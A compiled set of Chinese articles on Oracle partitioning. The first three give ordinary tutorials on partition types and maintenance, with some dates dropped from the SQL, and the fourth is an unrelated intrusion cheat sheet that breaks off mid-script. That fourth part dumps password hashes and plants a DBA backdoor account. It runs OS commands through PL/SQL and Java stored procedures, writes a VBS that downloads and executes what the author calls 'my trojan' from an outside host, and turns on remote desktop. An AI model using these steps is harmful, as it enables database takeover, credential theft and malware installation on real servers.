关于oracle分区技术初了解(通用10篇)由网友“木佥马佥”投稿提供,下面是小编整理过的关于oracle分区技术初了解,希望对大家有所帮助。
篇1:关于oracle分区技术初了解
一、分区类型
1. 范围分区(Range Partitioning)
适用于 连续/按时间排序的数据
2. 散列分区(Hash Partitioning)
适用于 不连续/数据记录固定的数据
3. 组合分区 Range-Hash
Range-List
4. 列表分区 List Partitioning
适用于对不连续域的数据分区
更准确的控制数据的分区存储
适用于 位置类数据
二、分区表的维护
准备工作
SYS@ORA11G>create tablespace sales_ts012 datafile'/u01/app/oracle/oradata/ORA11G/sales_ts01_01.dbf' size 10m;Tablespace created.SYS@ORA11G>create tablespace sales_ts022 datafile'/u01/app/oracle/oradata/ORA11G/sales_ts02_01.dbf' size 10m;Tablespace created.SYS@ORA11G>create tablespace sales_ts032 datafile'/u01/app/oracle/oradata/ORA11G/sales_ts03_01.dbf' size 10m;Tablespace created.SYS@ORA11G>create tablespace sales_ts042 datafile'/u01/app/oracle/oradata/ORA11G/sales_ts04_01.dbf' size 10m;Tablespace created.SYS@ORA11G>create tablespace sales_ts052 datafile'/u01/app/oracle/oradata/ORA11G/sales_ts05_01.dbf' size 10m;Tablespace created.SYS@ORA11G>create tablespace sales_ts062 datafile'/u01/app/oracle/oradata/ORA11G/sales_ts06_01.dbf' size 10m;Tablespace created.SYS@ORA11G>SYS@ORA11G>SYS@ORA11G>SYS@ORA11G>conn tyger/tygerConnected.TYGER@ORA11G>TYGER@ORA11G>TYGER@ORA11G>CREATE TABLE SALES(PROD_ID NUMBER,CUST_ID NUMBER,TIME_ID DATE,CHANNEL_ID NUMBER,PROMO_ID NUMBER,QUANTITY_SOLD NUMBER(10,2),AMOUNT_SOLD NUMBER(10,2))PARTITION BY RANGE(TIME_ID)(PARTITION sales01 values less than ('01-Feb-')TABLESPACE SALES_TS01,PARTITION sales02 values less than ('01-Mar-2004')TABLESPACE SALES_TS02,PARTITION sales03 values less than ('01-Apr-2004')TABLESPACE SALES_TS03,PARTITION sales04 values less than ('01-May-2004')TABLESPACE SALES_TS04,PARTITION sales05 values less than ('01-Jun-2004')TABLESPACE SALES_TS05,PARTITION sales06 values less than ('01-Jul-2004')TABLESPACE SALES_TS06); 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17Table created.TYGER@ORA11G>selectTABLE_NAME,PARTITIONING_TYPE,SUBPARTITIONING_TYPE,STATUS2 from user_part_tables;TABLE_NAME PARTITION SUBPARTIT STATUS------------------------------ --------- -----------------SALES RANGE NONE VALIDTYGER@ORA11G>col table_name for a20TYGER@ORA11G>col tablespace_name for a20TYGER@ORA11G>l1 selectTABLE_NAME,PARTITION_NAME,TABLESPACE_NAME2* fromuser_tab_partitionsTYGER@ORA11G>/TABLE_NAME PARTITION_NAME TABLESPACE_NAME-------------------- --------------------------------------------------SALES SALES01 SALES_TS01SALES SALES02 SALES_TS02SALES SALES03 SALES_TS03SALES SALES04 SALES_TS04SALES SALES05 SALES_TS05SALES SALES06 SALES_TS066 rows selected.语法:ALTERTABLE ALTER INDEXADD PARTITION -DROP PARTITIONCOALESCE PARTITION - MODIFY PARTITIONDROP PARTITION - MODIFY DEFAULT ATTRIBUTESEXCHANGE PARTITION - MODIFY PARTITION COALESCEMERGE PARTITIONS - REBUILD PARTITIONMODIFY PARTITION - RENAME PARTITIONMODIFY DEFAULT -SPLIT PARTITIONATTRIBUTES - UNUSABLEMOVE PARTITIONRENAME PARTITIONSPLIT PARTITION
2.1 删除表分区
Alter table sales droppartition sales01;TYGER@ORA11G>alter table sales drop partitionsales01;Table altered.TYGER@ORA11G>selectTABLE_NAME,PARTITION_NAME,TABLESPACE_NAME2 from user_tab_partitions;TABLE_NAME PARTITION_NAME TABLESPACE_NAME-------------------- --------------------------------------------------SALES SALES02 SALES_TS02SALES SALES03 SALES_TS03SALES SALES04 SALES_TS04SALES SALES05 SALES_TS05SALES SALES06 SALES_TS06
2.2 增加表分区
增加分区的分区范围必须比当前分区的最后一个分区更高
TYGER@ORA11G>alter table sales add partitionsales01 values less than ('01-Feb-2004') tablespace sales_ts01;alter table sales add partition sales01 values lessthan ('01-Feb-2004') tablespace sales_ts01*ERROR at line 1:ORA-14074: partition bound mustcollate higher than that of the last partitionTYGER@ORA11G>alter table sales add partitionsales012 values less than ('01-Aug-2004') tablespacesales_ts01;Table altered.TYGER@ORA11G>selecttable_name,partition_name,tablespace_name2 from user_tab_partitions;TABLE_NAME PARTITION_NAME TABLESPACE_NAME-------------------- --------------------------------------------------SALES SALES02 SALES_TS02SALES SALES03 SALES_TS03SALES SALES04 SALES_TS04SALES SALES05 SALES_TS05SALES SALES06 SALES_TS06SALES SALES01 SALES_TS01
2.3 合并分区
必须是相邻的范围分区
继承最大的范围边界
TYGER@ORA11G>alter table sales2 merge partitions sales06,sales01 intopartition sales07;Table altered.TYGER@ORA11G>select table_name,partition_name,tablespace_name2 from user_tab_partitions;TABLE_NAME PARTITION_NAME TABLESPACE_NAME-------------------- --------------------------------------------------SALES SALES07 USERSSALES SALES02 SALES_TS02SALES SALES03 SALES_TS03SALES SALES04 SALES_TS04SALES SALES05 SALES_TS05
2.4 移动表分区
移动分区数据到另一个表空间
重新整理数据减少碎片
改变物理属性
TYGER@ORA11G>alter table sales move partitionsales012 tablespace sales_ts_move;
2.5 拆分表分区
拆分表分区———一个分区变的太大,导致备份,恢复和分区性能操作花费时间太长,重新分配I/O负载,
关于oracle分区技术初了解
,
TYGER@ORA11G>alter table sales split partition sales072 at ('01-Jul-2004') // 按哪个时间点拆分3 into (partition sales01 tablespacesales_ts01,4 partition sales06 tablespacesales_ts06);Table altered.TYGER@ORA11G>selecttable_name,partition_name,tablespace_name2 from user_tab_partitions;TABLE_NAME PARTITION_NAME TABLESPACE_NAME-------------------- --------------------------------------------------SALES SALES02 SALES_TS02SALES SALES03 SALES_TS03SALES SALES04 SALES_TS04SALES SALES05 SALES_TS05SALES SALES06 SALES_TS06SALES SALES01 SALES_TS016 rows selected.
篇2:Oracle分区索引
----------------------------------------------------------
Plan hash value: 2556877094
--------------------------------------------------------------------------------------------------------------------------
| Id | Operation | Name | Rows | Bytes | Cost (%CPU)| Time | Pstart| Pstop |
--------------------------------------------------------------------------------------------------------------------------
| 0 | SELECT STATEMENT | | 1 | 41 | 2 (0)| 00:00:01 | | |
| 1 | PARTITION RANGE SINGLE | | 1 | 41 | 2 (0)| 00:00:01 | 1 | 1 |
| 2 | TABLE ACCESS BY LOCAL INDEX ROWID| BIG_TABLE | 1 | 41 | 2 (0)| 00:00:01 | 1 | 1 |
|* 3 | INDEX RANGE SCAN | BITA_CREATED_DATE_I | 1 | | 1 (0)| 00:00:01 | 1 | 1 |
--------------------------------------------------------------------------------------------------------------------------
3、全局分区索引演示
?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
--为表添加主键
SQL>ALTER TABLE big_table ADD (
2 CONSTRAINT big_table_pk PRIMARY KEY (id)
3 );
Table altered.
SQL>select index_name,index_type,tablespace_name,global_stats,partitioned
2 from user_indexes where index_name='BIG_TABLE_PK';
INDEX_NAME INDEX_TYPE TABLESPACE_NAME GLO PAR
------------------------------ --------------------------- ------------------------------ --- ---
BIG_TABLE_PK NORMAL TBS_TMP YES NO
SQL>set autot trace exp;
SQL>select * from big_table where id=1412;
Execution Plan
----------------------------------------------------------
Plan hash value: 2662411593
-------------------------------------------------------------------------------------------------------------------
| Id | Operation | Name | Rows | Bytes | Cost (%CPU)| Time | Pstart| Pstop |
-------------------------------------------------------------------------------------------------------------------
| 0 | SELECT STATEMENT | | 1 | 62 | 2 (0)| 00:00:01 | | |
| 1 | TABLE ACCESS BY GLOBAL INDEX ROWID| BIG_TABLE | 1 | 62 | 2 (0)| 00:00:01 | ROWID | ROWID |
|* 2 | INDEX UNIQUE SCAN | BIG_TABLE_PK | 1 | | 1 (0)| 00:00:01 | | |
-------------------------------------------------------------------------------------------------------------------
--如上,在其执行计划中,Pstart与Pstop都为ROWID
--出现了GLOBAL INDEX ROWID,我们添加主键时并未指定Global,但其执行计划表明执行了全局索引访问
--这个地方有待证实,对于分区表,非分区键上的主键或唯一索引是否一定是全局索引
SQL>drop index bita_created_date_i;
--下面创建全局索引,创建时需要指定分区键的范围和值
SQL>CREATE INDEX bita_created_date_i
ON big_table (created_date)
GLOBAL PARTITION BY RANGE (created_date)
(
PARTITION
idx_1 VALUES LESS THAN (TO_DATE ('01/01/', 'DD/MM/YYYY'))
TABLESPACE idx1,
PARTITION
idx_2 VALUES LESS THAN (TO_DATE ('01/01/', 'DD/MM/YYYY'))
TABLESPACE idx2,
PARTITION idx_3 VALUES LESS THAN (maxvalue) TABLESPACE idx3);
SQL>select index_name, partitioning_type, partition_count,locality from user_part_indexes;
INDEX_NAME PARTITI PARTITION_COUNT LOCALI
------------------------------ ------- --------------- ------
BITA_CREATED_DATE_I_G RANGE 3 GLOBAL
SQL>select partition_name, high_value, tablespace_name from user_ind_partitions;
PARTITION_NAME HIGH_VALUE TABLESPACE_NAME
------------------------------ --------------------- ------------------------------
IDX_1 TO_DATE(' 2013-01-01 IDX1
IDX_2 TO_DATE(' 2014-01-01 IDX2
IDX_3 MAXVALUE IDX3
--下面是其执行计划,可以看出支持分区消除
SQL>set autot trace exp;
SQL>select * from big_table where created_date=to_date('20130625','yyyymmdd');
Execution Plan
----------------------------------------------------------
Plan hash value: 1378264218
---------------------------------------------------------------------------------------------------------------------------
| Id | Operation | Name | Rows | Bytes | Cost (%CPU)| Time | Pstart| Pstop |
---------------------------------------------------------------------------------------------------------------------------
| 0 | SELECT STATEMENT | | 1 | 41 | 2 (0)| 00:00:01 | | |
| 1 | PARTITION RANGE SINGLE | | 1 | 41 | 2 (0)| 00:00:01 | 2 | 2 |
| 2 | TABLE ACCESS BY GLOBAL INDEX ROWID| BIG_TABLE | 1 | 41 | 2 (0)| 00:00:01 | 2 | 2 |
|* 3 | INDEX RANGE SCAN | BITA_CREATED_DATE_I | 1 | | 1 (0)| 00:00:01 | 2 | 2 |
---------------------------------------------------------------------------------------------------------------------------
--以下为范围查询,Pstart为1,Pstop为2,同样支持分区消除
SQL>select * from big_table
2 where created_date>=to_date('0625','yyyymmdd') and created_date<=to_date('20130625','yyyymmdd');
Execution Plan
----------------------------------------------------------
Plan hash value: 213633793
------------------------------------------------------------------------------------------------------
| Id | Operation | Name | Rows | Bytes | Cost (%CPU)| Time | Pstart| Pstop |
------------------------------------------------------------------------------------------------------
| 0 | SELECT STATEMENT | | 3334 | 133K| 14 (0)| 00:00:01 | | |
| 1 | PARTITION RANGE ITERATOR| | 3334 | 133K| 14 (0)| 00:00:01 | 1 | 2 |
|* 2 | TABLE ACCESS FULL | BIG_TABLE | 3334 | 133K| 14 (0)| 00:00:01 | 1 | 2 |
------------------------------------------------------------------------------------------------------
篇3:oracle数据库和分区
目录:
Oracle数据完整性和锁机制 索引及优化之表分析 表分析、约束及表间关系 Oracle体系结构1 Oracle体系结构2 海量数据库及分区1 海量数据库及分区2 海量数据库及分区3 海量数据库及分区4 高级SQL优化(一) 高级SQL优化(二) 高级SQL优化(三) 常用优化工具 PPT和源码下载: sishuok.com/forum/posts/list/6365.html 配套视频课程 Oracle性能优化 sishuok.com/product/601 海量数据库和高级SQL优化 sishuok.com/product/602 原规划本课的内容为表分区,即单级分区表的简要知识,规划为一课,oracle数据库和分区
。由于近年来行业内海量数据处理人才紧缺,现根据读者反馈将内容调整为四课,以详细讨论海量数据库的全部主要知识,并辅以大量实践练习,以期有志于研究学习VLDB的读者通过加量的课程学习能达到建立起VLDB基础理论体系,迅速适应相应的海量数据库设计和开发工作的效果。 VLDB概述引子 很多现代企业如电子商务企业需要频繁的在一个包含数百个GB或者数个TB数据的数据库上运行关键任务。这种数据库称为超大型数据库(VLDB,Very Large Databases,又称海量数据库),其中的数据称为海量数据。实践中,VLDB一般包含两个关键要素:一是用户达到百万级甚至千万级,数据库的容量一般超过1TB(1TB=1024GB);二是系统必须提供实时响应功能,不能停机、具有高度的可靠性和可扩展性。例如亚马逊、淘宝、苏宁易购等系统的数据库。对于VLDB的支持和维护的挑战工作催生了海量数据解决方案。VLDB的主要主题中,最关键的方法一般是使用分区、压缩、并行执行等技术。 分区简介 分区是将一个超大表或者索引分解成若干个更小、更易于管理的小的部分,这些小的部分称为分区。对于表而言称为分区表,对于索引而言称为分区索引。原来对超大表或超大索引的SQL查询和DML无需进行任何修改即可访问这些分区表和分区索引。定义了分区后, DDL语句就只访问和操纵单个分区,而不 是整个表或索引,因而分区带来了高可维护性的好处。分区的一个基本要求是表或索引的每个分区具有 相同逻辑属性,如列名、约束等;但不同的分区可以具有不同的物理属性,如压缩的启用/禁用,物理存储设置、表空间等。对于许多不同类型的应用,尤其是管理大量数据的应用程序而言分区是非常有用的,如对于OLTP分区可提高其可管理性和可用性、性能,而对于数据仓库分区则可提高其性能和可管理性。 分区的优点如下: ? 显著缩短操作处理时间:这些操作包括数据装载、索引的创建和重建、备份与恢复。能显著缩短的原因是这些操作仅限于分区级(在个体的分区上),而非表级(在整个表上) ? 提高查询响应性能:通常的查询只需要访问分区的一个子集即可完成,从而避免了访问整个表。这种技术称为分区裁剪,其对性能的提升可以达到量级单位 ? 显著缩短因维护操作导致的计划宕机时间:分区是独立于分区维护操作的,因此允许在表的不同分区或索引不同的分区上执行并发维护操作。如可以对分区执行并发的SELECT和DML语句等维护操作,其二者不会相互影响 VLDB与分区 海量数据库没有最小的绝对大小,VLDB虽然类似于一个小型数据库,但管理一个VLDB依然存在很多挑战,这些挑战与执行操作的数据库的 绝对规模及其 成本效用是有关系的。数据库大小的稳步增长与以下几个趋势因素有关: ? 系统开发的独立性和综合合并应用需求的驱动:每个系统独立开发,但跨部门的综合应用需要数据库和应用进行整合合并,而整合带来的一个是基础数据和存储结构的不统一,二就是导致数据库大小的持续增长 ? 法律法规的规定:法律法规要求存储最小时间粒度的数据并保存一个较长时间,如日志信息、交易信息等 ? 客户公司发展因素:如公司的增长发展、收购等导致用户规模和业务规模的增长,这些均能带来数据规模和并发规模的增长 分区策略是管理超大容量数据库的一个核心特性。分区地址的增长是VLDB的最基本挑战之一,Oracle使用“分而治之”的技术策略管理数据库中的表和索引,当这些表和索引增长时,该技术非常有效。分区的一个特性是当管理一个超大容量数据库时,无需投入更多的管理资源和硬件资源即可提供具有高度可伸缩性和统一的可靠数据库性能的数据库服务。 Oracle建议,哪怕小规模数据库(以MB为单位)也可以分区,分区同样能获得与以TB为单位的VLDB相同的性能和高可维护性。因此从这个角度触发,建议对每个大数据表均进行分区,亦即分区是数据库优化的一个重要手段。 分区基础知识概览 1.分区的基本知识从 数据库管理员的角度来看,一个分区的对象有多个块,可以集体管理或单独管理,这赋予管理员在管理分区对象相当大的灵活性。从 应用程序的角度来看,一个分区表,非分区表完全相同,使用SQL查询和DML语句访问分区表时,无需作任何修改。2.分区键 分区表的行必须明确的存储在单一的分区,分区键可以由一个或多个列组成,用来决定行所存储的分区,Oracle使用分区键来自动确定Insert、Update、Delete操作所对应的分区。 如课程“索引及优化之表分析”中“用户交易表”基于年度、月度和日期建立分区,则该三列构成分区键,用来决定DML操作对应的分区。3.分区表 表可以被分割为无数个分区,但如果表中包含LONG或LONG RAW类型的列是则不可分区,而CLOB和BLOB类型的列是支持分区的。 为了减少磁盘和内存使用情况(特别是高速缓存),可以将表和分区的分区表进行压缩,表压缩 也可以大大节约存储空间、加快查询执行速度。 然而,有轻微的增加CPU的负担。压缩适合的情况 是数据仓库环境,即读多写少的情况。建议考虑使用表分区的情形: (1).表的大小超过2GB时,或超过万行记录时 (2).表中包含历史数据,新数据会被写入新分区时 (3).表的内容必须被分布在不同类型的存储设备时 建议考虑使用索引分区的情形: (1).对表数据进行迁移并且希望避免重建索引时 (2).对部分数据进行维护,而不希望维护期间使整个索引无效时 (3).减少索引中具有单一递增值的列引起的索引偏移时 4.分区与LOB类型数据 LOB类型列中存储的非结构化数据(图片、文档等)也能分区。当进行分区时,LOB类型的列存储在子集的表空间,且列存储在分区所在的表空间中。此技术在存储有大对象数据且不经常更新,而其他数据会经常被更新时非常高效,原因是将大对象数据与主数据进行了分离的存储。如员工记录数据,照片是大对象。 分区的好处 1.提高性能分区通过限定操作数据的数量、对并行执行的数据是分布式的,因此带来了成倍的性能提升,主要包括: (1).分区修剪 分区修剪是最简单也是最本质的性能提高手段,原因是限定了数据范围。常常可以将查询性能提高几个数量级。如某个订单表按月分区,该表中存有2年的数据,现在查询某个月度的订单数,则只需访问访问一个分区,而不是24个分区,因此性可能会提升20倍。 (2).智能化分区连接 多表连接时,该技术能在下列两种情形下会得到应用 1).A表与B表连接,A表的键是colS,B表的键也是colS,两个表的分区均是基于列colS,且连接条件是A.colS= A.colS 2).参考完整性中的参考分区表与其父表连接 此时智能化分区连接技术能将一个大的连接打破使用一个小的连接,从而节省时间。该技术无论是在串行化的还是在并行化的执行中具有重要意义。 2.易管理性 由于分区后的存储是单个单元的,也就是提供了“分而治之”的管理方式,因此可以对单个分区而不是整个表进行维护操作,如备份等,
3.可用性 不同的分区是独立的,因此提供可高可用性。如某个分区损坏,但其他分区依然可以使用,而不是整个表不能被使用。每个分区也可以存储在不同的表空间中,每个分区也可以设置不同的存储参数。 分区策略概述 Oracle分区提供了三种基本的数据分区方法作为基本的分区策略,控制如何将数据放入单独的分区: l范围Range l哈希Hash l列表List 使用三种基本的分区方法,表可以被分区成单一分区列表或复合分区表,分别称为单级分区和组合分区。 每个分区策略都有不同的优点和设计考虑。 因此,不同的策略适合不同特定的情况。 分区表 环境准备 1.先备份前面的30课的数据 2.只准备使用表ACCOUNT_TRADE中的数据单级分区 使用范围、哈希、列表三种分区策略的任何一中,在表的一个或多个列上建立分区。
1.范围分区策略-策略说明 依据分区键值的范围不同进行分区,当数据在范围内均衡分布时,性能最好,是最常见的分区策略,一般与日期相关。该策略的每个分区均具有一个VALUES LESS THAN子句,用来指定该分区包含的范围数据的上限。任何分区键的值大于等于该值时被添加到下一个更高的分区。 所有分区,除了第一个,有一个隐含的下限为前一个分区的VALUES LESS THAN值。此外,包含一个MAXVALUE用来义为最高的分区。 MAXVALUE代表一个虚拟的无限大的值,包括NULL值。 1.范围分区策略—语法1.范围分区策略—语法注意事项 如果基于多个列创建分区,列之间用逗号分隔;值部分也是用逗号分隔,且该值必须与列的类型相同。值部分也可以使用函数,如TO_DATE等。还要注意LESS THAN相当于小于号(<),如: partition by range(ND,YD ) ( partition ACCOUNT_TRADE_SR_P01 values less than(2010,'02'), partition ACCOUNT_TRADE_SR_P201002 values less than(2010,'03'), partition ACCOUNT_TRADE_SR_P201003 values less than(2010,'04'), partition ACCOUNT_TRADE_SR_P201004 values less than(2010,'05'), partition ACCOUNT_TRADE_SR_P201005 values less than(2010,'06'), partition ACCOUNT_TRADE_SR_P201006 values less than(2010,'07'), partition ACCOUNT_TRADE_SR_P201007 values less than(2010,'08'), partition ACCOUNT_TRADE_SR_P201008 values less than(2010,'09'), partition ACCOUNT_TRADE_SR_P201009 values less than(2010,'10'), partition ACCOUNT_TRADE_SR_P201010 values less than(2010,'11'), partition ACCOUNT_TRADE_SR_P201011 values less than(2010,'12'), partition ACCOUNT_TRADE_SR_P201012 values less than(,'01'), partition ACCOUNT_TRADE_SR_PMORE values less than(MAXVALUE,MAXVALUE)); 1.范围分区策略—示例体验 l 创建一个结构类似表ACCOUNT_TRADE的单级范围分区表ACCOUNT_TRADE_SR l从表ACCOUNT_TRADE读取的数据写入表ACCOUNT_TRADE_SR l分析表ACCOUNT_TRADE_SR l查看分区数据并将两个表的数据进行对比 参见附件脚本3
1.范围分区策略—示例体验2.散列分区策略-策略说明 依据Oracle的散列分区算法将数据映射到分区上,该算法不可人工改变。散列分区会尽量将数据均匀的分布在不同的分区上。当业务数据中没有历史数据时,选择散列分区是一个比较好的替代方法。这个分区方法能够保持I/O平衡,但是不可用于范围查询或不等式查询。 注意:Oracle推荐Hash分区的分区数是2的幂,如2、4、8、16等。 2.散列分区策略-语法2.散列分区策略-语法注意事项 单独散列分区(individual_hash_partitions)及其限制使用子名按照名字指定单个分区,分区名可以匆略。此时能指定的唯一子句是表空间。按照数量的散列分区(hash_partitions_by_quantity)可以指定分区的数目,Oracle此时指定分区的名字SYS_Pn。STORE IN子句指定分区所分布的表空间的名称。表空间的数目不一定和分区的数目相等。如果分区的数目比表空间的数目大,则分区按照名称循环使用表空间。如果在按数量分区时指了STORE IN和分区存储子句的表空间,则SOTRE IN指定了表创建分区的位置,TABLESPACE子句指定随后操作的缺省表空间。此时语句partitions后面只能跟数字,一般为2的幂,否则会引起ORA-14152错误。 2.散列分区策略—按照数量分区示例体验 表为ACCOUNT_TRADE_SHQ,方法同前面,分区语句如下: partition by hash ( JYSJ ) partitions 4 store in ( TS_ORALEARN, TS_ORALEARN_IDX ); 参见附件脚本42.散列分区策略—单独散列分区示例体验 表为ACCOUNT_TRADE_SHI,方法同前面,分区语句如下: partition by hash( JYSJ )( partition ACCOUNT_TRADE_SHI_P1 tablespace TS_ORALEARN, partition ACCOUNT_TRADE_SHI_P2 tablespace TS_ORALEARN_IDX, partition ACCOUNT_TRADE_SHI_P3 tablespace TS_ORALEARN, partition ACCOUNT_TRADE_SHI_P4 tablespace TS_ORALEARN ); 参见附件脚本53.列表分区策略-策略说明 列表分区通过为分区键指定一系列离散的值(即枚举值)来明确的控制行数据的存储分区,其优点是可以将一些无序和不相关的数据组织在一起。如,银行系统的数据可以按区域分区。每个分区的list_values_clause(参见语法说明部分)最少有一个值。空值可能在多个分区中出现。你可以指定一个缺省分区,且缺省分区是定义分区的最后一个。 list_values_clause的每个值在表的所有分区必须唯一。 3.列表分区策略-语法3.列表分区策略—示例体验 表为ACCOUNT_TRADE_SL,方法同前面,分区语句如下: partition by list ( ND ) ( partition ACCOUNT_TRADE_SL_P2010 values ( 2010 ) tablespace TS_ORALEARN, partition ACCOUNT_TRADE_SL_P2011 values ( 2011 ) tablespace TS_ORALEARN, partition ACCOUNT_TRADE_SL_PD values ( DEFAULT ) tablespace TS_ORALEARN_IDX ); 参见附件脚本6
篇4:oracle技术文档
作者:Robert
配合open那个工具
第一部分
基本查询指令
select * from V$PWFILE_USERS //查看dba用户
select * from v$version //查看oracle版本以及系统版本
select * from session_privs;// 查看当前用户拥有的权限值
select * from user_role_privs\\查询当前用户角色
select * from user_sys_privs\\查询当前用户系统权限
select username,password from dba_users; //查看所有用户密码hash
select * from dba_sys_privs where grantee='SYSTEM';\\查系统权限
grant select any dictionary to system with admin option;\\登陆不上OEM时候需要此权限
Select name,password FROM user$ Where name='SCOTT'; //低版本查看单用户密码
Select username,decode(password,NULL,'NULL',password) password FROM dba_users; //查看用户hash
create user bob identified by iloveyou;\\建用户bob密码iloveyou
grant dba to bob;\\赋予bob DBA权限
grant execute on xmldom to bob \\赋予用户execute
Create ROLE “javauserpriv” NOT IDENTIFIED
Create ROLE “javasyspriv” NOT IDENTIFIED \\当提示role 'JAVASYSPRIV' does not exist使用
select grantee from dba_role_privs where granted_role='DBA'; \\检查那些用户有DBA权限
select * from dba_directories;\\查看路径所在目录
第二部分,创建java,执行系统命令
no.1
Create or REPLACE LIBRARY exec_shell AS 'c:\windows\system32\msvcrt.dll';
/
show errors
Create or REPLACE PACKAGE oracmd IS PROCEDURE exec (cmdstring IN CHAR);
end oracmd;
/
show errors
Create or REPLACE PACKAGE BODY oracmd IS
PROCEDURE exec(cmdstring IN CHAR)
IS EXTERNAL
NAME “system”
LIBRARY exec_shell
LANGUAGE C;
end oracmd;
/
show errors上面这个没有回显的
如果不行可以使用下面这个
Create or REPLACE LIBRARY exec_shell AS '$ORACLE_HOME\msvcrt.dll';
/
show errors
Create or REPLACE PACKAGE oracmd IS PROCEDURE exec (cmdstring IN CHAR);
end oracmd;
/
show errors
Create or REPLACE PACKAGE BODY oracmd IS
PROCEDURE exec(cmdstring IN CHAR)
IS EXTERNAL
NAME “system”
LIBRARY exec_shell
LANGUAGE C;
end oracmd;
/
show errors执行完后
执行
exec oracmd.exec ('net1 user robert iloveyou /add');no2.
Create or REPLACE AND COMPILE JAVA SOURCE NAMED “Host” AS
import java.io.*;
public class Host {
public static void executeCommand(String command) {
try {
String[] finalCommand;
if (isWindows) {
finalCommand = new String[4];
// Use the appropriate path for your windows version.
finalCommand[0] = “C:\\windows\\system32\\cmd.exe”; // Windows XP/
//finalCommand[0] = “C:\\winnt\\system32\\cmd.exe”; // Windows NT/2000
finalCommand[1] = “/y”;
finalCommand[2] = “/c”;
finalCommand[3] = command;
}
else {
finalCommand = new String[3];
finalCommand[0] = “/bin/sh”;
finalCommand[1] = “-c”;
finalCommand[2] = command;
}
final Process pr = Runtime.getRuntime().exec(finalCommand);
pr.waitFor();
new Thread(new Runnable(){
public void run() {
BufferedReader br_in = null;
try {
br_in = new BufferedReader(new InputStreamReader(pr.getInputStream()));
String buff = null;
while ((buff = br_in.readLine()) != null) {
System.out.println(“Process out :” + buff);
try {Thread.sleep(100); } catch(Exception e) {}
}
br_in.close();
}
catch (IOException ioe) {
System.out.println(“Exception caught printing process output.”);
ioe.printStackTrace();
}
finally {
try {
br_in.close();
} catch (Exception ex) {}
}
}
}).start();
new Thread(new Runnable(){
public void run() {
BufferedReader br_err = null;
try {
br_err = new BufferedReader(new InputStreamReader(pr.getErrorStream()));
String buff = null;
while ((buff = br_err.readLine()) != null) {
System.out.println(“Process err :” + buff);
try {Thread.sleep(100); } catch(Exception e) {}
}
br_err.close();
}
catch (IOException ioe) {
System.out.println(“Exception caught printing process error.”);
ioe.printStackTrace();
}
finally {
try {
br_err.close();
} catch (Exception ex) {}
}
}
}).start();
}
catch (Exception ex) {
System.out.println(ex.getLocalizedMessage());
}
}
public static boolean isWindows() {
if (System.getProperty(“os.name”).toLowerCase().indexOf(“windows”) != -1)
return true;
else
return false;
}
};
/
Create or REPLACE PROCEDURE host_command (p_command IN VARCHAR2)
AS LANGUAGE JAVA
NAME 'Host.executeCommand (java.lang.String)';
/
EXEC DBMS_JAVA.grant_permission('SYSTEM', 'java.io.FilePermission', '', 'read ,write, execute, delete');
EXEC Dbms_Java.Grant_Permission('SYSTEM', 'SYS:java.lang.RuntimePermission', 'writeFileDescriptor', '');
EXEC Dbms_Java.Grant_Permission('SYSTEM', 'SYS:java.lang.RuntimePermission', 'readFileDescriptor', '');
/
DECLARE
l_output DBMS_OUTPUT.chararr;
l_lines INTEGER := 1000;
BEGIN
DBMS_OUTPUT.enable(1000000);
DBMS_JAVA.set_output(1000000);
host_command('dir C:\');
DBMS_OUTPUT.get_lines(l_output, l_lines);
END;这个要注意两点
win下注意系统路径
linx下注意注释掉win
最后一句就是执行命令的
host_command('dir C:\');
no3.
create or replace and compile
java souRCe named “util”
as
import java.io.*;
import java.lang.*;
public class util extends Object
{
public static int RunThis(String args)
{
Runtime rt = Runtime.getRuntime();
int RC = -1;
try
{
Process p = rt.exec(args);
int bufSize = 4096;
BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);
int len;
byte buffer[] = new byte[bufSize];
// Echo back what the program spit out
while ((len = bis.read(buffer, 0, bufSize)) != -1)
System.out.write(buffer, 0, len);
RC = p.waitFor();
}
catch (Exception e)
{
e.printStackTrace();
RC = -1;
}
finally
{
return RC;
}
}
}
/
create or replace
function RUN_CMz(p_cmd in varchar2) return number
as
language java
name 'util.RunThis(java.lang.String) return integer';
/
create or replace procedure RC(p_cmd in varChar)
as
x number;
begin
x := RUN_CMz(p_cmd);
end;
/
variable x number;
set serveroutput on;
exec dbms_java.set_output(100000);
grant javasyspriv to system;这句注意最后这里要授权下当前登陆的用户
grant javasyspriv to system最后执行
exec :x:=run_cmz('ipconfig');第二部分 操作磁盘文件
no1.
建立目录
create or replace directory DIR as 'C:\';此目录当然也可以是启动目录
授权
grant read, write on directory DIR to system这步可以不用
然后执行操作
写文件
declare
file utl_file.file_type;
begin
file := utl_file.fopen('DIR', 'test.vbs', 'W');
utl_file.put_line(file, 'Set xPost=CreateObject(“Microsoft.XMLHTTP”)
xPost.Open “GET”,“http:/ /blog.cnmoker.org/rad.exe”,0
xPost.Send()
Set sGet=CreateObject(“ADODB.Stream”)
sGet.Mode=3
sGet.Type=1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile “c:\rad.exe”,2');
utl_file.fflush(file);
utl_file.fclose(file);
end;
/
exec :x:=run_cmz('cscript. c:\test.vbs');
/
exec :x:=run_cmz('c:\rad.exe');这步操作讲下载我的木马到c盘并执行
declare
file utl_file.file_type;
begin
file := utl_file.fopen('DIR', '3389.vbs', 'W');
utl_file.put_line(file, 'Dim OperationRegistry
Set perationRegistry=WScript.createObject(“WScript.Shell”)
Dim TSPort,TSState,TSRegPath
TSRegPath=“HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\PortNumber”
TSPort=OperationRegistry.RegRead(TSRegPath)
TSRegPath=“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\fDenyTSConnections”
TSState=OperationRegistry.RegRead(TSRegPath)
If TSState=0 Then
Else
OperationRegistry.RegWrite TSRegPath,0,“REG_DWORD”
End If');
utl_file.fflush(file);
utl_file.fclose(file);
end;
/
exec :x:=run_cmz('cscript. c:\3389.vbs');vbs开启3389
declare
file utl_file.file_type;
begin
file := utl_file.fopen('DIR', 'user.vbs', 'W');
